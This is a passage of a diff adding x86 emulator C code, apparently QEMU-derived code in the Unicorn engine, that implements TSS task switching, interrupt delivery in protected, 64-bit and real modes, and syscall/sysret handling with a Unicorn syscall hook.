+ uint32_t new_eflags, new_eip, new_cr3, new_ldt, new_trap; + uint32_t old_eflags, eflags_mask; + SegmentCache *dt; + int index; + target_ulong ptr; + + type = (e2 >> DESC_TYPE_SHIFT) & 0xf; + LOG_PCALL("switch_tss: sel=0x%04x type=%d src=%d\n", tss_selector, type, + source); + + /* if task gate, we read the TSS segment and we load it */ + if (type == 5) { + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, tss_selector & 0xfffc); + } + tss_selector = e1 >> 16; + if (tss_selector & 4) { + raise_exception_err(env, EXCP0A_TSS, tss_selector & 0xfffc); + } + if (load_segment(env, &e1, &e2, tss_selector) != 0) { + raise_exception_err(env, EXCP0D_GPF, tss_selector & 0xfffc); + } + if (e2 & DESC_S_MASK) { + raise_exception_err(env, EXCP0D_GPF, tss_selector & 0xfffc); + } + type = (e2 >> DESC_TYPE_SHIFT) & 0xf; + if ((type & 7) != 1) { + raise_exception_err(env, EXCP0D_GPF, tss_selector & 0xfffc); + } + } + + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, tss_selector & 0xfffc); + } + + if (type & 8) { + tss_limit_max = 103; + } else { + tss_limit_max = 43; + } + tss_limit = get_seg_limit(e1, e2); + tss_base = get_seg_base(e1, e2); + if ((tss_selector & 4) != 0 || + tss_limit < tss_limit_max) { + raise_exception_err(env, EXCP0A_TSS, tss_selector & 0xfffc); + } + old_type = (env->tr.flags >> DESC_TYPE_SHIFT) & 0xf; + if (old_type & 8) { + old_tss_limit_max = 103; + } else { + old_tss_limit_max = 43; + } + + /* read all the registers from the new TSS */ + if (type & 8) { + /* 32 bit */ + new_cr3 = cpu_ldl_kernel(env, tss_base + 0x1c); + new_eip = cpu_ldl_kernel(env, tss_base + 0x20); + new_eflags = cpu_ldl_kernel(env, tss_base + 0x24); + for (i = 0; i < 8; i++) { + new_regs[i] = cpu_ldl_kernel(env, tss_base + (0x28 + i * 4)); + } + for (i = 0; i < 6; i++) { + new_segs[i] = cpu_lduw_kernel(env, tss_base + (0x48 + i * 4)); + } + new_ldt = cpu_lduw_kernel(env, tss_base + 0x60); + new_trap = cpu_ldl_kernel(env, tss_base + 0x64); + } else { + /* 16 bit */ + new_cr3 = 0; + new_eip = cpu_lduw_kernel(env, tss_base + 0x0e); + new_eflags = cpu_lduw_kernel(env, tss_base + 0x10); + for (i = 0; i < 8; i++) { + new_regs[i] = cpu_lduw_kernel(env, tss_base + (0x12 + i * 2)) | + 0xffff0000; + } + for (i = 0; i < 4; i++) { + new_segs[i] = cpu_lduw_kernel(env, tss_base + (0x22 + i * 4)); + } + new_ldt = cpu_lduw_kernel(env, tss_base + 0x2a); + new_segs[R_FS] = 0; + new_segs[R_GS] = 0; + new_trap = 0; + } + /* XXX: avoid a compiler warning, see + http://support.amd.com/us/Processor_TechDocs/24593.pdf + chapters 12.2.5 and 13.2.4 on how to implement TSS Trap bit */ + (void)new_trap; + + /* NOTE: we must avoid memory exceptions during the task switch, + so we make dummy accesses before */ + /* XXX: it can still fail in some cases, so a bigger hack is + necessary to valid the TLB after having done the accesses */ + + v1 = cpu_ldub_kernel(env, env->tr.base); + v2 = cpu_ldub_kernel(env, env->tr.base + old_tss_limit_max); + cpu_stb_kernel(env, env->tr.base, v1); + cpu_stb_kernel(env, env->tr.base + old_tss_limit_max, v2); + + /* clear busy bit (it is restartable) */ + if (source == SWITCH_TSS_JMP || source == SWITCH_TSS_IRET) { + target_ulong ptr; + uint32_t e2; + + ptr = env->gdt.base + (env->tr.selector & ~7); + e2 = cpu_ldl_kernel(env, ptr + 4); + e2 &= ~DESC_TSS_BUSY_MASK; + cpu_stl_kernel(env, ptr + 4, e2); + } + old_eflags = cpu_compute_eflags(env); + if (source == SWITCH_TSS_IRET) { + old_eflags &= ~NT_MASK; + } + + /* save the current state in the old TSS */ + if (type & 8) { + /* 32 bit */ + cpu_stl_kernel(env, env->tr.base + 0x20, next_eip); + cpu_stl_kernel(env, env->tr.base + 0x24, old_eflags); + cpu_stl_kernel(env, env->tr.base + (0x28 + 0 * 4), env->regs[R_EAX]); + cpu_stl_kernel(env, env->tr.base + (0x28 + 1 * 4), env->regs[R_ECX]); + cpu_stl_kernel(env, env->tr.base + (0x28 + 2 * 4), env->regs[R_EDX]); + cpu_stl_kernel(env, env->tr.base + (0x28 + 3 * 4), env->regs[R_EBX]); + cpu_stl_kernel(env, env->tr.base + (0x28 + 4 * 4), env->regs[R_ESP]); + cpu_stl_kernel(env, env->tr.base + (0x28 + 5 * 4), env->regs[R_EBP]); + cpu_stl_kernel(env, env->tr.base + (0x28 + 6 * 4), env->regs[R_ESI]); + cpu_stl_kernel(env, env->tr.base + (0x28 + 7 * 4), env->regs[R_EDI]); + for (i = 0; i < 6; i++) { + cpu_stw_kernel(env, env->tr.base + (0x48 + i * 4), + env->segs[i].selector); + } + } else { + /* 16 bit */ + cpu_stw_kernel(env, env->tr.base + 0x0e, next_eip); + cpu_stw_kernel(env, env->tr.base + 0x10, old_eflags); + cpu_stw_kernel(env, env->tr.base + (0x12 + 0 * 2), env->regs[R_EAX]); + cpu_stw_kernel(env, env->tr.base + (0x12 + 1 * 2), env->regs[R_ECX]); + cpu_stw_kernel(env, env->tr.base + (0x12 + 2 * 2), env->regs[R_EDX]); + cpu_stw_kernel(env, env->tr.base + (0x12 + 3 * 2), env->regs[R_EBX]); + cpu_stw_kernel(env, env->tr.base + (0x12 + 4 * 2), env->regs[R_ESP]); + cpu_stw_kernel(env, env->tr.base + (0x12 + 5 * 2), env->regs[R_EBP]); + cpu_stw_kernel(env, env->tr.base + (0x12 + 6 * 2), env->regs[R_ESI]); + cpu_stw_kernel(env, env->tr.base + (0x12 + 7 * 2), env->regs[R_EDI]); + for (i = 0; i < 4; i++) { + cpu_stw_kernel(env, env->tr.base + (0x22 + i * 4), + env->segs[i].selector); + } + } + + /* now if an exception occurs, it will occurs in the next task + context */ + + if (source == SWITCH_TSS_CALL) { + cpu_stw_kernel(env, tss_base, env->tr.selector); + new_eflags |= NT_MASK; + } + + /* set busy bit */ + if (source == SWITCH_TSS_JMP || source == SWITCH_TSS_CALL) { + target_ulong ptr; + uint32_t e2; + + ptr = env->gdt.base + (tss_selector & ~7); + e2 = cpu_ldl_kernel(env, ptr + 4); + e2 |= DESC_TSS_BUSY_MASK; + cpu_stl_kernel(env, ptr + 4, e2); + } + + /* set the new CPU state */ + /* from this point, any exception which occurs can give problems */ + env->cr[0] |= CR0_TS_MASK; + env->hflags |= HF_TS_MASK; + env->tr.selector = tss_selector; + env->tr.base = tss_base; + env->tr.limit = tss_limit; + env->tr.flags = e2 & ~DESC_TSS_BUSY_MASK; + + if ((type & 8) && (env->cr[0] & CR0_PG_MASK)) { + cpu_x86_update_cr3(env, new_cr3); + } + + /* load all registers without an exception, then reload them with + possible exception */ + env->eip = new_eip; + eflags_mask = TF_MASK | AC_MASK | ID_MASK | + IF_MASK | IOPL_MASK | VM_MASK | RF_MASK | NT_MASK; + if (!(type & 8)) { + eflags_mask &= 0xffff; + } + cpu_load_eflags(env, new_eflags, eflags_mask); + /* XXX: what to do in 16 bit case? */ + env->regs[R_EAX] = new_regs[0]; + env->regs[R_ECX] = new_regs[1]; + env->regs[R_EDX] = new_regs[2]; + env->regs[R_EBX] = new_regs[3]; + env->regs[R_ESP] = new_regs[4]; + env->regs[R_EBP] = new_regs[5]; + env->regs[R_ESI] = new_regs[6]; + env->regs[R_EDI] = new_regs[7]; + if (new_eflags & VM_MASK) { + for (i = 0; i < 6; i++) { + load_seg_vm(env, i, new_segs[i]); + } + } else { + /* first just selectors as the rest may trigger exceptions */ + for (i = 0; i < 6; i++) { + cpu_x86_load_seg_cache(env, i, new_segs[i], 0, 0, 0); + } + } + + env->ldt.selector = new_ldt & ~4; + env->ldt.base = 0; + env->ldt.limit = 0; + env->ldt.flags = 0; + + /* load the LDT */ + if (new_ldt & 4) { + raise_exception_err(env, EXCP0A_TSS, new_ldt & 0xfffc); + } + + if ((new_ldt & 0xfffc) != 0) { + dt = &env->gdt; + index = new_ldt & ~7; + if ((index + 7) > dt->limit) { + raise_exception_err(env, EXCP0A_TSS, new_ldt & 0xfffc); + } + ptr = dt->base + index; + e1 = cpu_ldl_kernel(env, ptr); + e2 = cpu_ldl_kernel(env, ptr + 4); + if ((e2 & DESC_S_MASK) || ((e2 >> DESC_TYPE_SHIFT) & 0xf) != 2) { + raise_exception_err(env, EXCP0A_TSS, new_ldt & 0xfffc); + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0A_TSS, new_ldt & 0xfffc); + } + load_seg_cache_raw_dt(&env->ldt, e1, e2); + } + + /* load the segments */ + if (!(new_eflags & VM_MASK)) { + int cpl = new_segs[R_CS] & 3; + tss_load_seg(env, R_CS, new_segs[R_CS], cpl); + tss_load_seg(env, R_SS, new_segs[R_SS], cpl); + tss_load_seg(env, R_ES, new_segs[R_ES], cpl); + tss_load_seg(env, R_DS, new_segs[R_DS], cpl); + tss_load_seg(env, R_FS, new_segs[R_FS], cpl); + tss_load_seg(env, R_GS, new_segs[R_GS], cpl); + } + + /* check that env->eip is in the CS segment limits */ + if (new_eip > env->segs[R_CS].limit) { + /* XXX: different exception if CALL? */ + raise_exception_err(env, EXCP0D_GPF, 0); + } + +#ifndef CONFIG_USER_ONLY + /* reset local breakpoints */ + if (env->dr[7] & DR7_LOCAL_BP_MASK) { + for (i = 0; i < DR7_MAX_BP; i++) { + if (hw_local_breakpoint_enabled(env->dr[7], i) && + !hw_global_breakpoint_enabled(env->dr[7], i)) { + hw_breakpoint_remove(env, i); + } + } + env->dr[7] &= ~DR7_LOCAL_BP_MASK; + } +#endif +} + +static inline unsigned int get_sp_mask(unsigned int e2) +{ + if (e2 & DESC_B_MASK) { + return 0xffffffff; + } else { + return 0xffff; + } +} + +static int exception_has_error_code(int intno) +{ + switch (intno) { + case 8: + case 10: + case 11: + case 12: + case 13: + case 14: + case 17: + return 1; + } + return 0; +} + +#ifdef TARGET_X86_64 +#define SET_ESP(val, sp_mask) \ + do { \ + if ((sp_mask) == 0xffff) { \ + env->regs[R_ESP] = (env->regs[R_ESP] & ~0xffff) | \ + ((val) & 0xffff); \ + } else if ((sp_mask) == 0xffffffffLL) { \ + env->regs[R_ESP] = (uint32_t)(val); \ + } else { \ + env->regs[R_ESP] = (val); \ + } \ + } while (0) +#else +#define SET_ESP(val, sp_mask) \ + do { \ + env->regs[R_ESP] = (env->regs[R_ESP] & ~(sp_mask)) | \ + ((val) & (sp_mask)); \ + } while (0) +#endif + +/* in 64-bit machines, this can overflow. So this segment addition macro + * can be used to trim the value to 32-bit whenever needed */ +#define SEG_ADDL(ssp, sp, sp_mask) ((uint32_t)((ssp) + (sp & (sp_mask)))) + +/* XXX: add a is_user flag to have proper security support */ +#define PUSHW(ssp, sp, sp_mask, val) \ + { \ + sp -= 2; \ + cpu_stw_kernel(env, (ssp) + (sp & (sp_mask)), (val)); \ + } + +#define PUSHL(ssp, sp, sp_mask, val) \ + { \ + sp -= 4; \ + cpu_stl_kernel(env, SEG_ADDL(ssp, sp, sp_mask), (uint32_t)(val)); \ + } + +#define POPW(ssp, sp, sp_mask, val) \ + { \ + val = cpu_lduw_kernel(env, (ssp) + (sp & (sp_mask))); \ + sp += 2; \ + } + +#define POPL(ssp, sp, sp_mask, val) \ + { \ + val = (uint32_t)cpu_ldl_kernel(env, SEG_ADDL(ssp, sp, sp_mask)); \ + sp += 4; \ + } + +/* protected mode interrupt */ +static void do_interrupt_protected(CPUX86State *env, int intno, int is_int, + int error_code, unsigned int next_eip, + int is_hw) // qq +{ + SegmentCache *dt; + target_ulong ptr, ssp; + int type, dpl, selector, ss_dpl, cpl; + int has_error_code, new_stack, shift; + uint32_t e1, e2, offset, ss = 0, esp, ss_e1 = 0, ss_e2 = 0; + uint32_t old_eip, sp_mask; + int vm86 = env->eflags & VM_MASK; + + has_error_code = 0; + if (!is_int && !is_hw) { + has_error_code = exception_has_error_code(intno); + } + if (is_int) { + old_eip = next_eip; + } else { + old_eip = env->eip; + } + + dt = &env->idt; + if (intno * 8 + 7 > dt->limit) { + raise_exception_err(env, EXCP0D_GPF, intno * 8 + 2); + } + ptr = dt->base + intno * 8; + e1 = cpu_ldl_kernel(env, ptr); + e2 = cpu_ldl_kernel(env, ptr + 4); + /* check gate type */ + type = (e2 >> DESC_TYPE_SHIFT) & 0x1f; + switch (type) { + case 5: /* task gate */ + /* must do that check here to return the correct error code */ + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, intno * 8 + 2); + } + switch_tss(env, intno * 8, e1, e2, SWITCH_TSS_CALL, old_eip); + if (has_error_code) { + int type; + uint32_t mask; + + /* push the error code */ + type = (env->tr.flags >> DESC_TYPE_SHIFT) & 0xf; + shift = type >> 3; + if (env->segs[R_SS].flags & DESC_B_MASK) { + mask = 0xffffffff; + } else { + mask = 0xffff; + } + esp = (env->regs[R_ESP] - (2 << shift)) & mask; + ssp = env->segs[R_SS].base + esp; + if (shift) { + cpu_stl_kernel(env, ssp, error_code); + } else { + cpu_stw_kernel(env, ssp, error_code); + } + SET_ESP(esp, mask); + } + return; + case 6: /* 286 interrupt gate */ + case 7: /* 286 trap gate */ + case 14: /* 386 interrupt gate */ + case 15: /* 386 trap gate */ + break; + default: + raise_exception_err(env, EXCP0D_GPF, intno * 8 + 2); + break; + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + cpl = env->hflags & HF_CPL_MASK; + /* check privilege if software int */ + if (is_int && dpl < cpl) { + raise_exception_err(env, EXCP0D_GPF, intno * 8 + 2); + } + /* check valid bit */ + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, intno * 8 + 2); + } + selector = e1 >> 16; + offset = (e2 & 0xffff0000) | (e1 & 0x0000ffff); + if ((selector & 0xfffc) == 0) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + if (load_segment(env, &e1, &e2, selector) != 0) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (!(e2 & DESC_S_MASK) || !(e2 & (DESC_CS_MASK))) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (dpl > cpl) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, selector & 0xfffc); + } + if (!(e2 & DESC_C_MASK) && dpl < cpl) { + /* to inner privilege */ + get_ss_esp_from_tss(env, &ss, &esp, dpl); + if ((ss & 0xfffc) == 0) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + if ((ss & 3) != dpl) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + if (load_segment(env, &ss_e1, &ss_e2, ss) != 0) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + ss_dpl = (ss_e2 >> DESC_DPL_SHIFT) & 3; + if (ss_dpl != dpl) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + if (!(ss_e2 & DESC_S_MASK) || + (ss_e2 & DESC_CS_MASK) || + !(ss_e2 & DESC_W_MASK)) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + if (!(ss_e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + new_stack = 1; + sp_mask = get_sp_mask(ss_e2); + ssp = get_seg_base(ss_e1, ss_e2); + } else if ((e2 & DESC_C_MASK) || dpl == cpl) { + /* to same privilege */ + if (vm86) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + new_stack = 0; + sp_mask = get_sp_mask(env->segs[R_SS].flags); + ssp = env->segs[R_SS].base; + esp = env->regs[R_ESP]; + dpl = cpl; + } else { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + new_stack = 0; /* avoid warning */ + sp_mask = 0; /* avoid warning */ + ssp = 0; /* avoid warning */ + esp = 0; /* avoid warning */ + } + + shift = type >> 3; + +#if 0 + /* XXX: check that enough room is available */ + push_size = 6 + (new_stack << 2) + (has_error_code << 1); + if (vm86) { + push_size += 8; + } + push_size <<= shift; +#endif + if (shift == 1) { + if (new_stack) { + if (vm86) { + PUSHL(ssp, esp, sp_mask, env->segs[R_GS].selector); + PUSHL(ssp, esp, sp_mask, env->segs[R_FS].selector); + PUSHL(ssp, esp, sp_mask, env->segs[R_DS].selector); + PUSHL(ssp, esp, sp_mask, env->segs[R_ES].selector); + } + PUSHL(ssp, esp, sp_mask, env->segs[R_SS].selector); + PUSHL(ssp, esp, sp_mask, env->regs[R_ESP]); + } + PUSHL(ssp, esp, sp_mask, cpu_compute_eflags(env)); + PUSHL(ssp, esp, sp_mask, env->segs[R_CS].selector); + PUSHL(ssp, esp, sp_mask, old_eip); + if (has_error_code) { + PUSHL(ssp, esp, sp_mask, error_code); + } + } else { + if (new_stack) { + if (vm86) { + PUSHW(ssp, esp, sp_mask, env->segs[R_GS].selector); + PUSHW(ssp, esp, sp_mask, env->segs[R_FS].selector); + PUSHW(ssp, esp, sp_mask, env->segs[R_DS].selector); + PUSHW(ssp, esp, sp_mask, env->segs[R_ES].selector); + } + PUSHW(ssp, esp, sp_mask, env->segs[R_SS].selector); + PUSHW(ssp, esp, sp_mask, env->regs[R_ESP]); + } + PUSHW(ssp, esp, sp_mask, cpu_compute_eflags(env)); + PUSHW(ssp, esp, sp_mask, env->segs[R_CS].selector); + PUSHW(ssp, esp, sp_mask, old_eip); + if (has_error_code) { + PUSHW(ssp, esp, sp_mask, error_code); + } + } + + /* interrupt gate clear IF mask */ + if ((type & 1) == 0) { + env->eflags &= ~IF_MASK; + } + env->eflags &= ~(TF_MASK | VM_MASK | RF_MASK | NT_MASK); + + if (new_stack) { + if (vm86) { + cpu_x86_load_seg_cache(env, R_ES, 0, 0, 0, 0); + cpu_x86_load_seg_cache(env, R_DS, 0, 0, 0, 0); + cpu_x86_load_seg_cache(env, R_FS, 0, 0, 0, 0); + cpu_x86_load_seg_cache(env, R_GS, 0, 0, 0, 0); + } + ss = (ss & ~3) | dpl; + cpu_x86_load_seg_cache(env, R_SS, ss, + ssp, get_seg_limit(ss_e1, ss_e2), ss_e2); + } + SET_ESP(esp, sp_mask); + + selector = (selector & ~3) | dpl; + cpu_x86_load_seg_cache(env, R_CS, selector, + get_seg_base(e1, e2), + get_seg_limit(e1, e2), + e2); + env->eip = offset; +} + +#ifdef TARGET_X86_64 + +#define PUSHQ(sp, val) \ + { \ + sp -= 8; \ + cpu_stq_kernel(env, sp, (val)); \ + } + +#define POPQ(sp, val) \ + { \ + val = cpu_ldq_kernel(env, sp); \ + sp += 8; \ + } + +static inline target_ulong get_rsp_from_tss(CPUX86State *env, int level) +{ + X86CPU *cpu = x86_env_get_cpu(env); + int index; + +#if 0 + printf("TR: base=" TARGET_FMT_lx " limit=%x\n", + env->tr.base, env->tr.limit); +#endif + + if (!(env->tr.flags & DESC_P_MASK)) { + cpu_abort(CPU(cpu), "invalid tss"); + } + index = 8 * level + 4; + if ((index + 7) > env->tr.limit) { + raise_exception_err(env, EXCP0A_TSS, env->tr.selector & 0xfffc); + } + return cpu_ldq_kernel(env, env->tr.base + index); +} + +/* 64 bit interrupt */ +static void do_interrupt64(CPUX86State *env, int intno, int is_int, + int error_code, target_ulong next_eip, int is_hw) // qq +{ + SegmentCache *dt; + target_ulong ptr; + int type, dpl, selector, cpl, ist; + int has_error_code, new_stack; + uint32_t e1, e2, e3, ss; + target_ulong old_eip, esp, offset; + + has_error_code = 0; + if (!is_int && !is_hw) { + has_error_code = exception_has_error_code(intno); + } + if (is_int) { + old_eip = next_eip; + } else { + old_eip = env->eip; + } + + dt = &env->idt; + if (intno * 16 + 15 > dt->limit) { + raise_exception_err(env, EXCP0D_GPF, intno * 16 + 2); + } + ptr = dt->base + intno * 16; + e1 = cpu_ldl_kernel(env, ptr); + e2 = cpu_ldl_kernel(env, ptr + 4); + e3 = cpu_ldl_kernel(env, ptr + 8); + /* check gate type */ + type = (e2 >> DESC_TYPE_SHIFT) & 0x1f; + switch (type) { + case 14: /* 386 interrupt gate */ + case 15: /* 386 trap gate */ + break; + default: + raise_exception_err(env, EXCP0D_GPF, intno * 16 + 2); + break; + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + cpl = env->hflags & HF_CPL_MASK; + /* check privilege if software int */ + if (is_int && dpl < cpl) { + raise_exception_err(env, EXCP0D_GPF, intno * 16 + 2); + } + /* check valid bit */ + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, intno * 16 + 2); + } + selector = e1 >> 16; + offset = ((target_ulong)e3 << 32) | (e2 & 0xffff0000) | (e1 & 0x0000ffff); + ist = e2 & 7; + if ((selector & 0xfffc) == 0) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + + if (load_segment(env, &e1, &e2, selector) != 0) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (!(e2 & DESC_S_MASK) || !(e2 & (DESC_CS_MASK))) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (dpl > cpl) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, selector & 0xfffc); + } + if (!(e2 & DESC_L_MASK) || (e2 & DESC_B_MASK)) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if ((!(e2 & DESC_C_MASK) && dpl < cpl) || ist != 0) { + /* to inner privilege */ + new_stack = 1; + esp = get_rsp_from_tss(env, ist != 0 ? ist + 3 : dpl); + ss = 0; + } else if ((e2 & DESC_C_MASK) || dpl == cpl) { + /* to same privilege */ + if (env->eflags & VM_MASK) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + new_stack = 0; + esp = env->regs[R_ESP]; + dpl = cpl; + } else { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + new_stack = 0; /* avoid warning */ + esp = 0; /* avoid warning */ + } + esp &= ~0xfLL; /* align stack */ + + PUSHQ(esp, env->segs[R_SS].selector); + PUSHQ(esp, env->regs[R_ESP]); + PUSHQ(esp, cpu_compute_eflags(env)); + PUSHQ(esp, env->segs[R_CS].selector); + PUSHQ(esp, old_eip); + if (has_error_code) { + PUSHQ(esp, error_code); + } + + /* interrupt gate clear IF mask */ + if ((type & 1) == 0) { + env->eflags &= ~IF_MASK; + } + env->eflags &= ~(TF_MASK | VM_MASK | RF_MASK | NT_MASK); + + if (new_stack) { + ss = 0 | dpl; + cpu_x86_load_seg_cache(env, R_SS, ss, 0, 0, 0); + } + env->regs[R_ESP] = esp; + + selector = (selector & ~3) | dpl; + cpu_x86_load_seg_cache(env, R_CS, selector, + get_seg_base(e1, e2), + get_seg_limit(e1, e2), + e2); + env->eip = offset; +} +#endif + +#ifdef TARGET_X86_64 +#if defined(CONFIG_USER_ONLY) +void helper_syscall(CPUX86State *env, int next_eip_addend) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + + cs->exception_index = EXCP_SYSCALL; + env->exception_next_eip = env->eip + next_eip_addend; + cpu_loop_exit(cs); +} +#else +void helper_syscall(CPUX86State *env, int next_eip_addend) +{ + // Unicorn: call registered syscall hooks + struct hook *hook; + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(env->uc, hook, UC_HOOK_INSN) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, env->eip)) + continue; + if (hook->insn == UC_X86_INS_SYSCALL) + ((uc_cb_insn_syscall_t)hook->callback)(env->uc, hook->user_data); + } + + env->eip += next_eip_addend; + return; +/* + int selector; + + if (!(env->efer & MSR_EFER_SCE)) { + raise_exception_err(env, EXCP06_ILLOP, 0); + } + selector = (env->star >> 32) & 0xffff; + if (env->hflags & HF_LMA_MASK) { + int code64; + + env->regs[R_ECX] = env->eip + next_eip_addend; + env->regs[11] = cpu_compute_eflags(env); + + code64 = env->hflags & HF_CS64_MASK; + + env->eflags &= ~env->fmask; + cpu_load_eflags(env, env->eflags, 0); + cpu_x86_load_seg_cache(env, R_CS, selector & 0xfffc, + 0, 0xffffffff, + DESC_G_MASK | DESC_P_MASK | + DESC_S_MASK | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK | + DESC_L_MASK); + cpu_x86_load_seg_cache(env, R_SS, (selector + 8) & 0xfffc, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | + DESC_W_MASK | DESC_A_MASK); + if (code64) { + env->eip = env->lstar; + } else { + env->eip = env->cstar; + } + } else { + env->regs[R_ECX] = (uint32_t)(env->eip + next_eip_addend); + + env->eflags &= ~(IF_MASK | RF_MASK | VM_MASK); + cpu_x86_load_seg_cache(env, R_CS, selector & 0xfffc, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_SS, (selector + 8) & 0xfffc, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | + DESC_W_MASK | DESC_A_MASK); + env->eip = (uint32_t)env->star; + } +*/ +} +#endif +#endif + +#ifdef TARGET_X86_64 +void helper_sysret(CPUX86State *env, int dflag) +{ + int cpl, selector; + + if (!(env->efer & MSR_EFER_SCE)) { + raise_exception_err(env, EXCP06_ILLOP, 0); + } + cpl = env->hflags & HF_CPL_MASK; + if (!(env->cr[0] & CR0_PE_MASK) || cpl != 0) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + selector = (env->star >> 48) & 0xffff; + if (env->hflags & HF_LMA_MASK) { + cpu_load_eflags(env, (uint32_t)(env->regs[11]), TF_MASK | AC_MASK + | ID_MASK | IF_MASK | IOPL_MASK | VM_MASK | RF_MASK | + NT_MASK); + if (dflag == 2) { + cpu_x86_load_seg_cache(env, R_CS, (selector + 16) | 3, + 0, 0xffffffff, + DESC_G_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK | + DESC_L_MASK); + env->eip = env->regs[R_ECX]; + } else { + cpu_x86_load_seg_cache(env, R_CS, selector | 3, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK); + env->eip = (uint32_t)env->regs[R_ECX]; + } + cpu_x86_load_seg_cache(env, R_SS, selector + 8, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_W_MASK | DESC_A_MASK); + } else { + env->eflags |= IF_MASK; + cpu_x86_load_seg_cache(env, R_CS, selector | 3, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK); + env->eip = (uint32_t)env->regs[R_ECX]; + cpu_x86_load_seg_cache(env, R_SS, selector + 8, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_W_MASK | DESC_A_MASK); + } +} +#endif + +/* real mode interrupt */ +static void do_interrupt_real(CPUX86State *env, int intno, int is_int, + int error_code, unsigned int next_eip) // qq +{ + SegmentCache *dt; + target_ulong ptr, ssp; + int selector; + uint32_t offset, esp; + uint32_t old_cs, old_eip; + + /* real mode (simpler!) */ + dt = &env->idt; + if (intno * 4 + 3 > dt->limit) { + raise_exception_err(env, EXCP0D_GPF, intno * 8 + 2); + } + ptr = dt->base + intno * 4; + offset = cpu_lduw_kernel(env, ptr); + selector = cpu_lduw_kernel(env, ptr + 2); + esp = env->regs[R_ESP]; + ssp = env->segs[R_SS].base; + if (is_int) { + old_eip = next_eip; + } else { + old_eip = env->eip; + } + old_cs = env->segs[R_CS].selector; + /* XXX: use SS segment size? */ + PUSHW(ssp, esp, 0xffff, cpu_compute_eflags(env)); + PUSHW(ssp, esp, 0xffff, old_cs); + PUSHW(ssp, esp, 0xffff, old_eip); + + /* update processor state */ + env->regs[R_ESP] = (env->regs[R_ESP] & ~0xffff) | (esp & 0xffff); + env->eip = offset; + env->segs[R_CS].selector = selector; + env->segs[R_CS].base = (selector << 4); + env->eflags &= ~(IF_MASK | TF_MASK | AC_MASK | RF_MASK); +} + +#if defined(CONFIG_USER_ONLY) +/* fake user mode interrupt */ +static void do_interrupt_user(CPUX86State *env, int intno, int is_int, + int error_code, target_ulong next_eip) +{ + SegmentCache *dt; + target_ulong ptr; + int dpl, cpl, shift; + uint32_t e2; + + dt = &env->idt; + if (env->hflags & HF_LMA_MASK) { + shift = 4; + } else { + shift = 3; + } + ptr = dt->base + (intno << shift); + e2 = cpu_ldl_kernel(env, ptr + 4); + + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + cpl = env->hflags & HF_CPL_MASK; + /* check privilege if software int */ + if (is_int && dpl < cpl) { + raise_exception_err(env, EXCP0D_GPF, (intno << shift) + 2); + } + + /* Since we emulate only user space, we cannot do more than + exiting the emulation with the suitable exception and error + code. So update EIP for INT 0x80 and EXCP_SYSCALL. */ + if (is_int || intno == EXCP_SYSCALL) { + env->eip = next_eip; + } +} + +#else + +static void handle_even_inj(CPUX86State *env, int intno, int is_int, + 